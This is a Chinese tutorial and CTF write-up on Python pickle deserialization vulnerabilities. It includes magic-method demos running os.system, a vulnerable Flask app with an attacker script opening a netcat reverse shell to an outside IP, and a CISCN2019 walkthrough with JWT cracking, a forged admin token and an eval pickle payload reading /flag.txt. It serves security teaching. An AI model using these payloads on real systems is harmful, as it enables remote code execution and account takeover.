总览

前置知识:

函数使用:

pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

魔术方法:

__reduce__()      反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用

各类语言函数:

Java: 
Serializable Externalizable接口、fastjson、
jackson、gson、ObjectInputStream.read、
ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject等
PHP: serialize()、 unserialize()
Python:pickle marshal PyYAML shelve PIL unzip

实例

原理-反序列化魔术方法-调用理解

  • 魔术方法利用:

    __reduce__()         反序列化时调用
    __reduce_ex__() 反序列化时调用
    __setstate__() 反序列化时调用
    __getstate__() 序列化时调用
  • 代码块:

    import pickle
    import os

反序列化魔术方法调用-reduce() reduce_ex() setstate()

class A(object):
def __reduce__(self):
print('反序列化调用')
# 必须有return
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)

class SerializePerson():
def __init__(self, name):
self.name = name
## 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') ## 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) ## 序列化
pickle.loads(tmp) ## 反序列化 此时会弹出计算器

序列化魔术方法调用-getstate

class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)

反序列化安全漏洞产生-DEMO

class A(object):
def __init__(self, func, arg):
self.func = func
self.arg = arg
print('This is A')
def __reduce__(self):
print('反序列化调用')
return (self.func, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)

实战

CTF-反序列化漏洞利用-构造&RCE

环境介绍:利用Python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞!

  • Server服务器:

    import pickle
    import base64
    from flask import Flask, request

    app = Flask(__name__)

    @app.route("/")
    def index():
    try:
    user = base64.b64decode(request.cookies.get('user'))
    user = pickle.loads(user)
    username = user["username"]
    except:
    username = "Guest"
    return "Hello %s" % username
    if __name__ == "__main__":
    app.run(
    host='192.168.1.3',
    port=5000,
    debug=True
    )
  • Hacker服务器:

    import requests
    import pickle
    import os
    import base64

    class exp(object):
    def __reduce__(self):
    s='c:/nc -e cmd 192.168.46.137 6666'
    return (os.system, (s,))
    e = exp()
    s = pickle.dumps(e)
    print(s)
    response = requests.get("http://192.168.1.3:5000/", cookies=dict(
    user=base64.b64encode(s).decode()
    ))
    print(response.content)

CTF-CISCN2019华北-JWT&反序列化

通过提示->寻找LV6->购买修改支付逻辑->绕过admin限制需修改jwt值->爆破jwt密匙->重组jwt值成为admin->购买进入会员中心->源码找到文件压缩源码->Python代码审计反序列化->构造读取flag代码进行序列化打印->提交获取

考点1:JWT 身份验证 攻击点:

https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt-cracker

考点2:Python 代码审计 反序列化:

自动工具:https://github.com/PyCQA/bandit
参考资料:https://github.com/bit4woo/python_sec

1、获取LV6

import requests
for i in range(1,1000):
url='http://119.45.216.198:8083/shop?page='+str(i)
result=requests.get(url).content
try:
if 'lv6.png' in result.decode('utf-8'):
print('->'+url+'|yes')
break
else:
print('->' + url + '|no')
except Exception as e:
pass

2、购买后伪造admin身份:

获取密匙:

/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InhpYW9kaSJ9.UHCykJtUJ4jeYAWAYFU73QiNhn7mZLUHE7kKo4oJpK8

重组密文:

https://jwt.io/ 1Kun
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

3、代码审计-反序列化

伪造Admin后发现返回数据包存在源码下载,下载后代码审计:
测试触发:URL对应代码块:路由->文件
触发代码Payload:(源码是2版本)
Payload必须使用对应服务器的Python版本。

import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a

Payload:
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

代码审计-自动化工具-bandit安装及使用

参考:https://bandit.readthedocs.io/
安装:pip install bandit

linux:
安装后会在当前Python目录下bin

使用:bandit -r 需要审计的源码目录

windows:
安装后会在当前Python目录下script

使用:bandit -r 需要审计的源码目录